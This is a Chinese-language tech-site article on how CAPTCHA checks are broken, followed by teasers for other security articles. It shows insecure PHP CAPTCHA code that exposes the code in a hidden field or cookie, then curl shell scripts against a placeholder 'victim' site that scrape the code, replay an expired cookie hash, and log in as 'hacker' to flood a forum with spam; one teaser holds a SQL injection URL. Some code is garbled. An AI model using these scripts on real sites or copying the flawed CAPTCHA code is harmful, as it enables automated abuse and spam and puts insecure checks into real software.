驱动管家:安全、高效、精准的专业驱动下载站!

验证码破解有怎么样的机制?验证码破解实例

2018-01-14 16:04:52责编:llp   来源:驱动管家     人气:

所谓验证码,就是将一串随机产生的数字或符号,生成一幅图片,图片里加上一些干扰象素(防止OCR),由用户肉眼识别其中的验证码信息。

验证码破解有怎么样的机制?验证码破解实例

输入表单提交网站验证,验证成功后才能使用某项功能。不少网站为了防止用户利用机器人自动注册、登录、灌水,都采用了 验证码技术。很多验证码实现都有问题。比如直接给出用验证码在网页和cookies中。验证码在网页中的例子:CODE:<?

/*

* Filename: authpage.php

* Author: hutuworm

* Date: 2003-04-28

* @Copyleft hutuworm.org

*/srand((double)microtime()*1000000);//验证用户输入是否和验证码一致

if(isset($HTTP_POST_VARS['authinput']))

{

if(strcmp($HTTP_POST_VARS['authnum'],$HTTP_POST_VARS['authinput'])==0)

echo "验证成功!";

else

echo "验证失败!";

}

//生成新的四位整数验证码

while(($authnum=rand()000)<1000);

?>

<form action=authpage.php method=post>

<table>

请输入验证码:<input type=text name=authinput style="width: 80px"><br>

<input type=submit name="验证" value="提交验证码">

<input type=hidden name=authnum value=<? echo $authnum; ?>>

<img src=authimg.php?authnum=<? echo $authnum; ?>>

</table>

</form> [Copy to clipboard]以上例子直接将验证码储存在负面中,只需下载页面,得到验证码值就可突破限制。CODE:#!/bin/sh

curl [url]http://www.vicitm.org/authpage.php[/url]

authinput=`grep '<input type=hidden name=authnum value=[[:digit:]]\{4\}>' grep.txt | sed -e 's/[^0-9]//g'` #得到网页中的authnum

curl [url]http://www.vicitm.org/authpage.php[/url] -d name=hacker -d submit="验证" -d authnum=$authnum[Copy to clipboard]CODE:session_register("authnum");

$authnum = strval(rand("1111","9999"));

setcookie("authnum",$authnum);...

<input type=text name=authnum maxlength=4><img src=get_code.php>

...if($number != $login_check_number || empty($number))

{

print("校验码不正确!");

die();

}

[Copy to clipboard]第二种要比上一种聪明一点,把验证码值存放在用户Cookies中。可是由于Cookies是用户可读可写,所以也极易被突破。CODE:#!/bin/sh

$username=hacker

$password=hackme

curl [url]http://www.vicitm.org/index.php[/url] -c common_cookie # 接受服务器的初始cookies

curl [url]http://www.vicitm.org/get_code.php[/url] -c $username.cook -b common_cookie # 得到验证码,从cookies中

authnum=`grep authnum $username.cook | cut -f7`

curl [url]http://www.victim.org/login.php[/url] -b $username.cook -d authnum=$authnum -d username=$username -d password=$password # 使用cookies中的验证码登陆[Copy to clipboard]更高级的验证码。(好像本论坛的就是这种。。。。)有一类验证码比以上两种验证码要高级一些,它使用如下算法:1、服务器生成一个随机hash。

2、使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字,再转化成图片。

3、hash在cookie中被发送到客户端

4、客户以图片输入验证码,进行登录。服务器检查f(hash)=验证码。特点:因为攻击者不明白服务器所使用的验证码编码算法,所以无法对服务器转来的hash进行直接解析。对付这种验证码,我们可以使用“过期cookies法”,方法即:保存服务器一次特定的cookies,将其对应验证码记下。在每次发送验证消息时,强行扔掉服务器传来的cookies,使用这个已被使用过的cookies以及验证码。就好比,一张电话充值卡可以用多次一样。如:

先从服务器上下载一张验证码图片:curl http://www.victim.org/get_code.php -c cookie -o auth.png人工阅读,得到$savecookie(cookie文件中的hash)和$authnum(验证码)。机器人突破验证时,扔掉服务器给的hash,强制使用$savecookie和$authnum进行突破CODE:$savecookie=294b506f05f896dcbb3a0dde86a5e36c

$num=7701

$username=hacker

$password=hackmecurl [url]http://www.victim.org/index.php[/url] -c $username.cookie # 得到初始化cookies,以及session id

grep -v authhash $username.cookie > tmp.$username # 扔掉服务器给你的hash

echo "[url]www.victim.org[/url] FALSE / FALSE 0 hash $savecookie" >> tmp.$username # 强行使用过期hash 和验证码

mv tmp.$username $username.cookie

curl [url]http://www.victim.org/login.php[/url] -b $username.cookie -c $username.cookie -d username=$username -d password=$password -d authnum=$num # 使用过期验证码登陆。

#登陆成功,去疯狂灌水。。。。。。[Copy to clipboard]最高级的验证码。它使用如下方法:1、服务器通过用户相关信息(IP,SID等等)生成一个随机hash。

2、使用某个算法(不可逆,破解难度高的)将hash转化成为验证码数字。

3、hash不再发送给客户端。它被保存到本地数据库(通常是SESSIONS,有关用户IP等信息),并由一个序列号seq所指向。(这个seq也可以是session id)

4、seq被作为cookies发送给客户端。

5、客户以图片输入验证码。

6、服务器验证方法:服务器并不检查f(hash)==验证码,而是去读取数据库中期望的验证码。。如果用户输入与期望值相同,则验证成功。有些服务器可能还会seq与session id之间的关系进行验继续进行验证。

7、一旦用户进行了验证操作或重新获取验证码,而是服务器将对数据库中的hash值替换成新的,老值失效过期。特点:×过期:由于服务器只期望保存在当前数据库中的验证码,所以无法使用“过期”的验证码(因为已被新验证码所替换)。

×高强度:只发送seq,而hash被保存在本地,所以也极难破译出f(hash)函数。弱点:OCR(光学识别) seq劫持 “验证码”DOS(对某些seq进行反复请求,导致某些用户无法进行正常验证)对付这种验证码我没有什么好的方法,简便的方法就是自行下载验证码,并给用户显示后登陆。这种适用只验证一次的场合。如登陆时验证。CODE:curl [url]http://www.victim.org/get_code.php[/url] -c validate.png -c validcode_cookie # 得到验证码图片,和对应seq。

seq=`grep seq validcode_cookie | cut -f7`

echo -n 请输入validate.png中的验证码:

read valid_number # 输入验证码

# 登陆,并进行某种自动化操作,如疯狂灌水。

  • 什么是openvpn漏洞?openvpn漏洞的危害

    什么是openvpn漏洞?openvpn漏洞的危害

    OpenVPN桌面客户端爆CSRF漏洞(可远程执行命令)受影响版本:windows版本的OpenVPN Access Server "Desktop Client " app。版本号为1 5 6(漏洞发现时的最新版)及以前的版本。OpenVPN Connect,Private Tunne

    详情2018-01-03 13:38:05责编:llp   来源:驱动管家     
  • arp病毒怎么查找?如何查杀arp病毒?

    arp病毒怎么查找?如何查杀arp病毒?

    一、首先诊断是否为ARP病毒攻击1、当发现上网明显变慢,或者突然掉线时,我们可以用arp-命令来检查ARP表:(点击“开始”按钮-选择“运行”-输入“cmd”点击 "确定 "按钮,在窗口中输入“arp-a”命令)如果发现网关

    详情2018-01-09 10:09:00责编:llp   来源:驱动管家     
  • web服务器的漏洞 web服务器的保护

    web服务器的漏洞 web服务器的保护

    Web安全分为两大类:· Web服务器的安全性(Web服务器本身安全和软件配置)。· Web应用程序的安全性(在Web服务器上运行的Java、 ActiveX、PHP、ASP代码的安全)。Web服务器面临的攻击Web服务器攻击利用Web服务器

    详情2018-01-08 19:52:37责编:llp   来源:驱动管家     
  • cc攻击是什么?怎么防cc攻击网站?

    cc攻击是什么?怎么防cc攻击网站?

    CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,也是一种常见的网站攻击方法,攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。CC攻击

    详情2018-01-13 14:51:33责编:llp   来源:驱动管家     
  • 搜狐微博也有漏洞?搜狐微博的漏洞和修复方法分析

    搜狐微博也有漏洞?搜狐微博的漏洞和修复方法分析

    搜狐某处CSRF漏洞,可能导致蠕虫蔓延,在未经用户同意的情况下发布微博

    详情2018-01-13 16:51:22责编:llp   来源:驱动管家     
  • 利用windows自带功能给文件夹加密的方法是什么?

    利用windows自带功能给文件夹加密的方法是什么?

    每个人都有一些不希望别人看到的东西,例如学习计划、情书等等,大家都喜欢把它们放在一个文件夹里,虽然可以采用某些工具软件给文件夹加密,但那样太麻烦了,有没有什么简单的方法可以为自己的文件夹设定一个密

    详情2018-01-07 14:44:43责编:llp   来源:驱动管家     
  • 创建dmz有哪些方法?使用防火墙创建dmz是其中一种

    创建dmz有哪些方法?使用防火墙创建dmz是其中一种

    安全区的定义在建立安全网络过程中起着至关重要的作用。DMZ (Demilitarized Zone)是网络安全中最重要的分区术语。因为DMZ包含设备性质,所以将其同网络的其他部分分隔开来。这些设备通常是需要从公共网络上访问

    详情2018-01-11 17:19:58责编:llp   来源:驱动管家     
  • 服务器有哪三大攻击杀手?什么是cc攻击?

    服务器有哪三大攻击杀手?什么是cc攻击?

    服务器方法有很多 如网站在同一时间受到大量的访问流量 超过网站服务器所能承受的限制 那么网站所解析的服务器就会崩溃。主流的服务器攻击方式有多种手段,但是唯独DDoS攻击、CC攻击以及ARP欺骗,这些攻击方式

    详情2018-01-13 14:51:31责编:llp   来源:驱动管家     
  • 虚拟主机怎么被黑客入侵?黑客入侵虚拟主机的步骤

    虚拟主机怎么被黑客入侵?黑客入侵虚拟主机的步骤

    问题文件出在admin user asp 提交 http: www xxx com down admin user asp?user=admin’ and asc(mid(pwd,1,1))>37 and ’1’=’1 就相当于: select * from UserInfo where user=’

    详情2018-01-10 13:56:33责编:llp   来源:驱动管家     
  • 怎么利用ldap服务器攻击网站?ldap服务器攻击的威力

    怎么利用ldap服务器攻击网站?ldap服务器攻击的威力

    大家都知道前不久出现的DDoS攻击“Mirai”,导致美国半数的互联网瘫痪,是不是很厉害啊,现在下面就为大家介绍一个最新的DDoS攻击,要让DDoS攻击力更彪悍。LDAP据Corero网络安全公司披露,上周发现一种新型DDoS攻

    详情2018-01-03 18:56:56责编:llp   来源:驱动管家